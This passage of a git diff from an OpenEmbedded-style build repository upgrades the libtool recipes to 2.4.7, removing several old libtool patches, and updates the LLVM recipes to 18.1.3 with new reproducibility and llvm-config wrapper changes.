- dnl lt_sysroot will always be passed unquoted. We quote it here
- dnl in case the user passed a directory name.
- lt_sysroot=
--case $with_sysroot in #(
-+case $with_libtool_sysroot in #(
- yes)
- if test yes = "$GCC"; then
- lt_sysroot=`$CC --print-sysroot 2>/dev/null`
- fi
- ;; #(
- /*)
-- lt_sysroot=`echo "$with_sysroot" | sed -e "$sed_quote_subst"`
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
- ;; #(
- no|'')
- ;; #(
- *)
-- AC_MSG_RESULT([$with_sysroot])
-+ AC_MSG_RESULT([$with_libtool_sysroot])
- AC_MSG_ERROR([The sysroot must be an absolute path.])
- ;;
- esac
-diff --git a/tests/sysroot.at b/tests/sysroot.at
---- a/tests/sysroot.at
-+++ b/tests/sysroot.at
-@@ -64,7 +64,7 @@ while read file; do
- done])
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -114,7 +114,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- ]])
-@@ -155,7 +155,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- ]])
-diff --git a/tests/testsuite b/tests/testsuite
---- a/tests/testsuite
-+++ b/tests/testsuite
-@@ -48945,7 +48945,7 @@ $at_traceon; }
-
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -49154,7 +49154,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -49342,7 +49342,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -49694,7 +49694,7 @@ $at_traceon; }
-
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -49903,7 +49903,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -50091,7 +50091,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -50443,7 +50443,7 @@ $at_traceon; }
-
-
- LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
--configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
-+configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
-
- #???
- if test PATH = "$shlibpath_var"; then
-@@ -50652,7 +50652,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([lib2.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
-@@ -50840,7 +50840,7 @@ AM_INIT_AUTOMAKE([foreign])
- AC_PROG_CC
- AC_CONFIG_SRCDIR([prog.c])
- LT_INIT
--sysroot=$with_sysroot
-+sysroot=$with_libtool_sysroot
- AC_SUBST([sysroot])
- AC_OUTPUT(Makefile)
- _ATEOF
diff --git a/meta/recipes-devtools/libtool/libtool/trailingslash.patch b/meta/recipes-devtools/libtool/libtool/trailingslash.patch
deleted file mode 100644
index e8824d7db9..0000000000
--- a/meta/recipes-devtools/libtool/libtool/trailingslash.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-Upstream-Status: Pending
-
-A command like /bin/sh ../../i586-poky-linux-libtool --mode=install /usr/bin/install -c gck-roots-store-standalone.la '/media/data1/builds/poky1/tmp/work/core2-poky-linux/gnome-keyring-2.26.1-r1/image/usr/lib/gnome-keyring/standalone/' fails (e.g. gnome-keyring or pulseaudio)
-
-This is because libdir has a trailing slash which breaks the comparision.
-
-RP 2/1/10
-
-Merged a patch received from Gary Thomas <gary@mlbassoc.com>
-
-Date: 2010/07/12
-Nitin A Kamble <nitin.a.kamble@intel.com>
-
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -2356,8 +2356,15 @@ func_mode_install ()
- func_append dir "$objdir"
-
- if test -n "$relink_command"; then
-+ # Strip any trailing slash from the destination.
-+ func_stripname '' '/' "$libdir"
-+ destlibdir=$func_stripname_result
-+
-+ func_stripname '' '/' "$destdir"
-+ s_destdir=$func_stripname_result
-+
- # Determine the prefix the user has applied to our future dir.
-- inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"`
-+ inst_prefix_dir=`$ECHO "X$s_destdir" | $Xsed -e "s%$destlibdir\$%%"`
-
- # Don't allow the user to place us outside of our expected
- # location b/c this prevents finding dependent libraries that
diff --git a/meta/recipes-devtools/libtool/libtool/unwind-opt-parsing.patch b/meta/recipes-devtools/libtool/libtool/unwind-opt-parsing.patch
deleted file mode 100644
index b633bc41bb..0000000000
--- a/meta/recipes-devtools/libtool/libtool/unwind-opt-parsing.patch
+++ /dev/null
@@ -1,179 +0,0 @@
-Cut and paste the pieces of build-aux/options-parser inline into the main
-ltmain.sh code. This removes a performance degradation caused by the
-repeated calls to func_quote_for_eval, the mechanism funclib uses
-to construct the functions used for option parsing.
-
-Upstream-Status: Submitted [Being discussed on mailing list Feb 2015]
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
-index d5cf07a..0f54303 100644
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -342,11 +342,15 @@ _LT_EOF
- # libtool_options_prep [ARG]...
- # -----------------------------
- # Preparation for options parsed by libtool.
--libtool_options_prep ()
--{
-+#libtool_options_prep ()
-+#{
- $debug_mode
-
- # Option defaults:
-+ opt_verbose=false
-+ opt_warning_types=
-+
-+ # Option defaults:
- opt_config=false
- opt_dlopen=
- opt_dry_run=false
-@@ -382,19 +386,14 @@ libtool_options_prep ()
- shift; set dummy --mode uninstall ${1+"$@"}; shift
- ;;
- esac
--
-- # Pass back the list of options.
-- func_quote_for_eval ${1+"$@"}
-- libtool_options_prep_result=$func_quote_for_eval_result
--}
--func_add_hook func_options_prep libtool_options_prep
-+#}
-
-
- # libtool_parse_options [ARG]...
- # ---------------------------------
- # Provide handling for libtool specific options.
--libtool_parse_options ()
--{
-+#libtool_parse_options ()
-+#{
- $debug_cmd
-
- # Perform our own loop to consume as many options as possible in
-@@ -474,29 +473,90 @@ libtool_parse_options ()
- func_append preserve_args " $_G_opt"
- ;;
-
-- # An option not handled by this hook function:
-- *) set dummy "$_G_opt" ${1+"$@"}; shift; break ;;
-- esac
-- done
-+ --debug|-x) debug_cmd='set -x'
-+ func_echo "enabling shell trace mode"
-+ $debug_cmd
-+ ;;
-
-+ --no-warnings|--no-warning|--no-warn)
-+ set dummy --warnings none ${1+"$@"}
-+ shift
-+ ;;
-
-- # save modified positional parameters for caller
-- func_quote_for_eval ${1+"$@"}
-- libtool_parse_options_result=$func_quote_for_eval_result
--}
--func_add_hook func_parse_options libtool_parse_options
-+ --warnings|--warning|-W)
-+ test $# = 0 && func_missing_arg $_G_opt && break
-+ case " $warning_categories $1" in
-+ *" $1 "*)
-+ # trailing space prevents matching last $1 above
-+ func_append_uniq opt_warning_types " $1"
-+ ;;
-+ *all)
-+ opt_warning_types=$warning_categories
-+ ;;
-+ *none)
-+ opt_warning_types=none
-+ warning_func=:
-+ ;;
-+ *error)
-+ opt_warning_types=$warning_categories
-+ warning_func=func_fatal_error
-+ ;;
-+ *)
-+ func_fatal_error \
-+ "unsupported warning category: '$1'"
-+ ;;
-+ esac
-+ shift
-+ ;;
-+
-+ --verbose|-v) opt_verbose=: ;;
-+ --version) func_version ;;
-+ -\?|-h) func_usage ;;
-+ --help) func_help ;;
-+
-+ # Separate optargs to long options (plugins may need this):
-+ --*=*) func_split_equals "$_G_opt"
-+ set dummy "$func_split_equals_lhs" \
-+ "$func_split_equals_rhs" ${1+"$@"}
-+ shift
-+ ;;
-+
-+ # Separate optargs to short options:
-+ -W*)
-+ func_split_short_opt "$_G_opt"
-+ set dummy "$func_split_short_opt_name" \
-+ "$func_split_short_opt_arg" ${1+"$@"}
-+ shift
-+ ;;
-+
-+ # Separate non-argument short options:
-+ -\?*|-h*|-v*|-x*)
-+ func_split_short_opt "$_G_opt"
-+ set dummy "$func_split_short_opt_name" \
-+ "-$func_split_short_opt_arg" ${1+"$@"}
-+ shift
-+ ;;
-+
-+ --) break ;;
-+ -*) func_fatal_help "unrecognised option: '$_G_opt'" ;;
-+ *) set dummy "$_G_opt" ${1+"$@"}; shift; break ;;
-+ esac
-+ done
-+#}
-
-+# Display all warnings if -W was not given.
-+test -n "$opt_warning_types" || opt_warning_types=" $warning_categories"
-
-
- # libtool_validate_options [ARG]...
- # ---------------------------------
- # Perform any sanity checks on option settings and/or unconsumed
- # arguments.
--libtool_validate_options ()
--{
-+#libtool_validate_options ()
-+#{
- # save first non-option argument
- if test 0 -lt $#; then
-- nonopt=$1
-+ nonopt=$_G_opt
- shift
- fi
-
-@@ -537,20 +597,10 @@ libtool_validate_options ()
- generic_help=$help
- help="Try '$progname --help --mode=$opt_mode' for more information."
- }
-+#}
-
-- # Pass back the unparsed argument list
-- func_quote_for_eval ${1+"$@"}
-- libtool_validate_options_result=$func_quote_for_eval_result
--}
--func_add_hook func_validate_options libtool_validate_options
--
--
--# Process options as early as possible so that --help and --version
--# can return quickly.
--func_options ${1+"$@"}
--eval set dummy "$func_options_result"; shift
--
--
-+# Bail if the options were screwed!
-+$exit_cmd $EXIT_FAILURE
-
- ## ----------- ##
- ## Main. ##
diff --git a/meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch b/meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch
deleted file mode 100644
index 6af99f327c..0000000000
--- a/meta/recipes-devtools/libtool/libtool/use-sysroot-in-libpath.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-Upstream-Status: Pending
-
-When using sysroot we should append it to libdir, which is helpful in
-cross builds as the system is staged in the sysroot. For normal builds,
-i.e. when lt_sysroot is not set, it will still behave the same and add
--L/usr/lib to the relink command.
-
--Khem Raj <raj.khem@gmail.com>
-Updated by: Robert Yang <liezhi.yang@windriver.com>
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -6421,7 +6421,7 @@ func_mode_link ()
- fi
- else
- # We cannot seem to hardcode it, guess we'll fake it.
-- add_dir=-L$libdir
-+ add_dir="-L$lt_sysroot$libdir"
- # Try looking first in the location we're being installed to.
- if test -n "$inst_prefix_dir"; then
- case $libdir in
diff --git a/meta/recipes-devtools/libtool/libtool_2.4.6.bb b/meta/recipes-devtools/libtool/libtool_2.4.6.bb
deleted file mode 100644
index a5715faaa9..0000000000
--- a/meta/recipes-devtools/libtool/libtool_2.4.6.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-require libtool-${PV}.inc
-
-SRC_URI += "file://multilib.patch file://debian-no_hostname.patch"
-
-RDEPENDS_${PN} += "bash"
-
-#
-# We want the results of libtool-cross preserved - don't stage anything ourselves.
-#
-SYSROOT_DIRS_BLACKLIST += " \
- ${bindir} \
- ${datadir}/aclocal \
- ${datadir}/libtool/build-aux \
-"
-
-ACLOCALEXTRAPATH_class-target = ""
-
-do_install_append () {
- sed -e 's@--sysroot=${STAGING_DIR_HOST}@@g' \
- -e "s@${DEBUG_PREFIX_MAP}@@g" \
- -e 's@${STAGING_DIR_HOST}@@g' \
- -e 's@${STAGING_DIR_NATIVE}@@g' \
- -e 's@^\(sys_lib_search_path_spec="\).*@\1${libdir} ${base_libdir}"@' \
- -e 's@^\(compiler_lib_search_dirs="\).*@\1${libdir} ${base_libdir}"@' \
- -e 's@^\(compiler_lib_search_path="\).*@\1${libdir} ${base_libdir}"@' \
- -e 's@^\(predep_objects="\).*@\1"@' \
- -e 's@^\(postdep_objects="\).*@\1"@' \
- -e "s@${HOSTTOOLS_DIR}/@@g" \
- -i ${D}${bindir}/libtool
-}
-
-inherit multilib_script
-
-MULTILIB_SCRIPTS = "${PN}:${bindir}/libtool"
diff --git a/meta/recipes-devtools/libtool/libtool_2.4.7.bb b/meta/recipes-devtools/libtool/libtool_2.4.7.bb
new file mode 100644
index 0000000000..44a4950574
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool_2.4.7.bb
@@ -0,0 +1,34 @@
+require libtool-${PV}.inc
+
+SRC_URI += "file://multilib.patch"
+
+RDEPENDS:${PN} += "bash"
+
+#
+# We want the results of libtool-cross preserved - don't stage anything ourselves.
+#
+SYSROOT_DIRS_IGNORE += " \
+ ${bindir} \
+ ${datadir}/aclocal \
+ ${datadir}/libtool/build-aux \
+"
+
+ACLOCALEXTRAPATH:class-target = ""
+
+do_install:append () {
+ sed -e 's@--sysroot=${STAGING_DIR_HOST}@@g' \
+ -e "s@${DEBUG_PREFIX_MAP}@@g" \
+ -e 's@${STAGING_DIR_HOST}@@g' \
+ -e 's@${STAGING_DIR_NATIVE}@@g' \
+ -e 's@^\(sys_lib_search_path_spec="\).*@\1${libdir} ${base_libdir}"@' \
+ -e 's@^\(compiler_lib_search_dirs="\).*@\1${libdir} ${base_libdir}"@' \
+ -e 's@^\(compiler_lib_search_path="\).*@\1${libdir} ${base_libdir}"@' \
+ -e 's@^\(predep_objects="\).*@\1"@' \
+ -e 's@^\(postdep_objects="\).*@\1"@' \
+ -e "s@${HOSTTOOLS_DIR}/@@g" \
+ -i ${D}${bindir}/libtool
+}
+
+inherit multilib_script
+
+MULTILIB_SCRIPTS = "${PN}:${bindir}/libtool"
diff --git a/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb b/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb
deleted file mode 100644
index 508eade326..0000000000
--- a/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-require libtool-${PV}.inc
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/libtool:"
-
-SRC_URI += "file://prefix.patch"
-SRC_URI += "file://fixinstall.patch"
-
-inherit nativesdk
-
-S = "${WORKDIR}/libtool-${PV}"
-FILES_${PN} += "${datadir}/libtool/*"
-
-do_configure_prepend () {
- # Remove any existing libtool m4 since old stale versions would break
- # any upgrade
- rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
- rm -f ${STAGING_DATADIR}/aclocal/lt*.m4
-}
-
-do_install () {
- autotools_do_install
- install -d ${D}${bindir}/
- install -m 0755 ${HOST_SYS}-libtool ${D}${bindir}/
-}
-
-SYSROOT_PREPROCESS_FUNCS += "libtoolnativesdk_sysroot_preprocess"
-
-libtoolnativesdk_sysroot_preprocess () {
- install -d ${SYSROOT_DESTDIR}${bindir_crossscripts}/
- install -m 755 ${D}${bindir}/${HOST_SYS}-libtool ${SYSROOT_DESTDIR}${bindir_crossscripts}/${HOST_SYS}-libtool
-}
diff --git a/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.7.bb b/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.7.bb
new file mode 100644
index 0000000000..86c55ded7b
--- /dev/null
+++ b/meta/recipes-devtools/libtool/nativesdk-libtool_2.4.7.bb
@@ -0,0 +1,30 @@
+require libtool-${PV}.inc
+
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/libtool:"
+
+SRC_URI += "file://fixinstall.patch"
+
+inherit nativesdk
+
+S = "${WORKDIR}/libtool-${PV}"
+FILES:${PN} += "${datadir}/libtool/*"
+
+do_configure:prepend () {
+ # Remove any existing libtool m4 since old stale versions would break
+ # any upgrade
+ rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
+ rm -f ${STAGING_DATADIR}/aclocal/lt*.m4
+}
+
+do_install () {
+ autotools_do_install
+ install -d ${D}${bindir}/
+ install -m 0755 libtool ${D}${bindir}/
+}
+
+SYSROOT_PREPROCESS_FUNCS += "libtoolnativesdk_sysroot_preprocess"
+
+libtoolnativesdk_sysroot_preprocess () {
+ install -d ${SYSROOT_DESTDIR}${bindir_crossscripts}/
+ install -m 755 ${D}${bindir}/libtool ${SYSROOT_DESTDIR}${bindir_crossscripts}/libtool
+}
diff --git a/meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch b/meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch
new file mode 100644
index 0000000000..48af6fc283
--- /dev/null
+++ b/meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch
@@ -0,0 +1,31 @@
+From 86940d87026432683fb6741cd8a34d3b9b18e40d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 27 Nov 2020 10:11:08 +0000
+Subject: [PATCH] AsmMatcherEmitter: sort ClassInfo lists by name as well
+
+Otherwise, there are instances which are identical in
+every other field and therefore sort non-reproducibly
+(which breaks binary and source reproducibiliy).
+
+Upstream-Status: Submitted [https://reviews.llvm.org/D97477]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ llvm/utils/TableGen/AsmMatcherEmitter.cpp | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/llvm/utils/TableGen/AsmMatcherEmitter.cpp b/llvm/utils/TableGen/AsmMatcherEmitter.cpp
+index ccf0959389b..1f801e83b7d 100644
+--- a/llvm/utils/TableGen/AsmMatcherEmitter.cpp
++++ b/llvm/utils/TableGen/AsmMatcherEmitter.cpp
+@@ -359,7 +359,10 @@ public:
+ // name of a class shouldn't be significant. However, some of the backends
+ // accidentally rely on this behaviour, so it will have to stay like this
+ // until they are fixed.
+- return ValueName < RHS.ValueName;
++ if (ValueName != RHS.ValueName)
++ return ValueName < RHS.ValueName;
++ // All else being equal, we should sort by name, for source and binary reproducibility
++ return Name < RHS.Name;
+ }
+ };
+
diff --git a/meta/recipes-devtools/llvm/llvm/0006-llvm-TargetLibraryInfo-Undefine-libc-functions-if-th.patch b/meta/recipes-devtools/llvm/llvm/0006-llvm-TargetLibraryInfo-Undefine-libc-functions-if-th.patch
deleted file mode 100644
index d02b7ba6ab..0000000000
--- a/meta/recipes-devtools/llvm/llvm/0006-llvm-TargetLibraryInfo-Undefine-libc-functions-if-th.patch
+++ /dev/null
@@ -1,90 +0,0 @@
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-From dbeecdb307be8b783b42cbc89dcb9c5e7f528989 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 21 May 2016 00:33:20 +0000
-Subject: [PATCH] llvm: TargetLibraryInfo: Undefine libc functions if they are macros
-
-musl defines some functions as macros and not inline functions
-if this is the case then make sure to undefine them
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- .../llvm/Analysis/TargetLibraryInfo.def | 21 +++++++++++++++++++
- 1 file changed, 21 insertions(+)
-
-diff --git a/llvm/include/llvm/Analysis/TargetLibraryInfo.def b/llvm/include/llvm/Analysis/TargetLibraryInfo.def
-index afed404f04c..876888656f2 100644
---- a/llvm/include/llvm/Analysis/TargetLibraryInfo.def
-+++ b/llvm/include/llvm/Analysis/TargetLibraryInfo.def
-@@ -782,6 +782,9 @@ TLI_DEFINE_STRING_INTERNAL("fmodl")
- TLI_DEFINE_ENUM_INTERNAL(fopen)
- TLI_DEFINE_STRING_INTERNAL("fopen")
- /// FILE *fopen64(const char *filename, const char *opentype)
-+#ifdef fopen64
-+#undef fopen64
-+#endif
- TLI_DEFINE_ENUM_INTERNAL(fopen64)
- TLI_DEFINE_STRING_INTERNAL("fopen64")
- /// int fork();
-@@ -829,6 +832,9 @@ TLI_DEFINE_STRING_INTERNAL("fseek")
- /// int fseeko(FILE *stream, off_t offset, int whence);
- TLI_DEFINE_ENUM_INTERNAL(fseeko)
- TLI_DEFINE_STRING_INTERNAL("fseeko")
-+#ifdef fseeko64
-+#undef fseeko64
-+#endif
- /// int fseeko64(FILE *stream, off64_t offset, int whence)
- TLI_DEFINE_ENUM_INTERNAL(fseeko64)
- TLI_DEFINE_STRING_INTERNAL("fseeko64")
-@@ -839,6 +845,9 @@ TLI_DEFINE_STRING_INTERNAL("fsetpos")
- TLI_DEFINE_ENUM_INTERNAL(fstat)
- TLI_DEFINE_STRING_INTERNAL("fstat")
- /// int fstat64(int filedes, struct stat64 *buf)
-+#ifdef fstat64
-+#undef fstat64
-+#endif
- TLI_DEFINE_ENUM_INTERNAL(fstat64)
- TLI_DEFINE_STRING_INTERNAL("fstat64")
- /// int fstatvfs(int fildes, struct statvfs *buf);
-@@ -854,6 +863,9 @@ TLI_DEFINE_STRING_INTERNAL("ftell")
- TLI_DEFINE_ENUM_INTERNAL(ftello)
- TLI_DEFINE_STRING_INTERNAL("ftello")
- /// off64_t ftello64(FILE *stream)
-+#ifdef ftello64
-+#undef ftello64
-+#endif
- TLI_DEFINE_ENUM_INTERNAL(ftello64)
- TLI_DEFINE_STRING_INTERNAL("ftello64")
- /// int ftrylockfile(FILE *file);
-@@ -980,6 +992,9 @@ TLI_DEFINE_STRING_INTERNAL("logl")
- TLI_DEFINE_ENUM_INTERNAL(lstat)
- TLI_DEFINE_STRING_INTERNAL("lstat")
- /// int lstat64(const char *path, struct stat64 *buf);
-+#ifdef lstat64
-+#undef lstat64
-+#endif
- TLI_DEFINE_ENUM_INTERNAL(lstat64)
- TLI_DEFINE_STRING_INTERNAL("lstat64")
- /// void *malloc(size_t size);
-@@ -1205,6 +1220,9 @@ TLI_DEFINE_STRING_INTERNAL("sscanf")
- TLI_DEFINE_ENUM_INTERNAL(stat)
- TLI_DEFINE_STRING_INTERNAL("stat")
- /// int stat64(const char *path, struct stat64 *buf);
-+#ifdef stat64
-+#undef stat64
-+#endif
- TLI_DEFINE_ENUM_INTERNAL(stat64)
- TLI_DEFINE_STRING_INTERNAL("stat64")
- /// int statvfs(const char *path, struct statvfs *buf);
-@@ -1340,6 +1358,9 @@ TLI_DEFINE_STRING_INTERNAL("times")
- TLI_DEFINE_ENUM_INTERNAL(tmpfile)
- TLI_DEFINE_STRING_INTERNAL("tmpfile")
- /// FILE *tmpfile64(void)
-+#ifdef tmpfile64
-+#undef tmpfile64
-+#endif
- TLI_DEFINE_ENUM_INTERNAL(tmpfile64)
- TLI_DEFINE_STRING_INTERNAL("tmpfile64")
- /// int toascii(int c);
diff --git a/meta/recipes-devtools/llvm/llvm/0007-llvm-allow-env-override-of-exe-path.patch b/meta/recipes-devtools/llvm/llvm/0007-llvm-allow-env-override-of-exe-path.patch
index b01b8647c9..add38b3bb4 100644
--- a/meta/recipes-devtools/llvm/llvm/0007-llvm-allow-env-override-of-exe-path.patch
+++ b/meta/recipes-devtools/llvm/llvm/0007-llvm-allow-env-override-of-exe-path.patch
@@ -1,27 +1,26 @@
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-From 61b00e1e051e367f5483d7b5253b6c85a9e8a90f Mon Sep 17 00:00:00 2001
+From 588a8694c6540e31140c7e242bfb5e279d6ca08c Mon Sep 17 00:00:00 2001
From: Martin Kelly <mkelly@xevo.com>
Date: Fri, 19 May 2017 00:22:57 -0700
-Subject: [PATCH] llvm: allow env override of exe path
+Subject: [PATCH] llvm: allow env override of exe and libdir path
When using a native llvm-config from inside a sysroot, we need llvm-config to
return the libraries, include directories, etc. from inside the sysroot rather
than from the native sysroot. Thus provide an env override for calling
llvm-config from a target sysroot.
+Upstream-Status: Inappropriate [OE-specific]
+
Signed-off-by: Martin Kelly <mkelly@xevo.com>
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- llvm/tools/llvm-config/llvm-config.cpp | 7 +++++++
- 1 file changed, 7 insertions(+)
+ llvm/tools/llvm-config/llvm-config.cpp | 25 +++++++++++++++++++------
+ 1 file changed, 19 insertions(+), 6 deletions(-)
diff --git a/llvm/tools/llvm-config/llvm-config.cpp b/llvm/tools/llvm-config/llvm-config.cpp
-index 7ef7c46a262..a4f7ed82c7b 100644
+index e86eb2b44b10..7b2abf318dbe 100644
--- a/llvm/tools/llvm-config/llvm-config.cpp
+++ b/llvm/tools/llvm-config/llvm-config.cpp
-@@ -225,6 +225,13 @@ Typical components:\n\
+@@ -246,6 +246,13 @@ Typical components:\n\
/// Compute the path to the main executable.
std::string GetExecutablePath(const char *Argv0) {
@@ -35,3 +34,4 @@ index 7ef7c46a262..a4f7ed82c7b 100644
// This just needs to be some symbol in the binary; C++ doesn't
// allow taking the address of ::main however.
void *P = (void *)(intptr_t)GetExecutablePath;
+
diff --git a/meta/recipes-devtools/llvm/llvm/llvm-config b/meta/recipes-devtools/llvm/llvm/llvm-config
new file mode 100644
index 0000000000..5e4ded2da5
--- /dev/null
+++ b/meta/recipes-devtools/llvm/llvm/llvm-config
@@ -0,0 +1,51 @@
+#!/bin/bash
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+# Wrap llvm-config since the native llvm-config will remap some values correctly
+# if placed in the target sysroot but for flags, it would provide the native ones.
+# Provide ours from the environment instead.
+
+NEXT_LLVM_CONFIG="$(which -a llvm-config | sed -n 2p)"
+if [[ $# == 0 ]]; then
+ exec "$NEXT_LLVM_CONFIG"
+fi
+
+remain=""
+output=""
+for arg in "$@"; do
+ case "$arg" in
+ --cppflags)
+ output="${output} ${CPPFLAGS}"
+ ;;
+ --cflags)
+ output="${output} ${CFLAGS}"
+ ;;
+ --cxxflags)
+ output="${output} ${CXXFLAGS}"
+ ;;
+ --ldflags)
+ output="${output} ${LDFLAGS}"
+ ;;
+ --shared-mode)
+ output="${output} shared"
+ ;;
+ --libs)
+ output="${output} -lLLVM"
+ ;;
+ --link-shared)
+ break
+ ;;
+ *)
+ remain="${remain} ${arg}"
+ ;;
+ esac
+done
+
+if [ "${remain}" != "" ]; then
+ output="${output} "$("$NEXT_LLVM_CONFIG" ${remain})
+fi
+
+echo "${output}"
diff --git a/meta/recipes-devtools/llvm/llvm_git.bb b/meta/recipes-devtools/llvm/llvm_git.bb
index 4c2d490315..c4fd73f2d7 100644
--- a/meta/recipes-devtools/llvm/llvm_git.bb
+++ b/meta/recipes-devtools/llvm/llvm_git.bb
@@ -1,39 +1,35 @@
# Copyright (C) 2017 Khem Raj <raj.khem@gmail.com>
# Released under the MIT license (see COPYING.MIT for the terms)
-DESCRIPTION = "The LLVM Compiler Infrastructure"
+SUMMARY = "The LLVM Compiler Infrastructure"
HOMEPAGE = "http://llvm.org"
LICENSE = "Apache-2.0-with-LLVM-exception"
SECTION = "devel"
LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=8a15a0759ef07f2682d2ba4b893c9afe"
-DEPENDS = "libffi libxml2 zlib libedit ninja-native llvm-native"
+DEPENDS = "libffi libxml2 zlib zstd libedit ninja-native llvm-native"
-COMPATIBLE_HOST_riscv64 = "null"
-COMPATIBLE_HOST_riscv32 = "null"
-
-RDEPENDS_${PN}_append_class-target = " ncurses-terminfo"
+RDEPENDS:${PN}:append:class-target = " ncurses-terminfo"
inherit cmake pkgconfig
-PROVIDES += "llvm${PV}"
+# could be 'rcX' or 'git' or empty ( for release )
+VER_SUFFIX = ""
-MAJOR_VERSION = "10"
-MINOR_VERSION = "0"
-PATCH_VERSION = "1"
+PV = "18.1.3${VER_SUFFIX}"
-PV = "${MAJOR_VERSION}.${MINOR_VERSION}.${PATCH_VERSION}"
+MAJOR_VERSION = "${@oe.utils.trim_version("${PV}", 1)}"
LLVM_RELEASE = "${PV}"
-LLVM_DIR = "llvm${LLVM_RELEASE}"
BRANCH = "release/${MAJOR_VERSION}.x"
-SRCREV = "ef32c611aa214dea855364efd7ba451ec5ec3f74"
-SRC_URI = "git://github.com/llvm/llvm-project.git;branch=${BRANCH} \
- file://0006-llvm-TargetLibraryInfo-Undefine-libc-functions-if-th.patch;striplevel=2 \
+SRCREV = "c13b7485b87909fcf739f62cfa382b55407433c0"
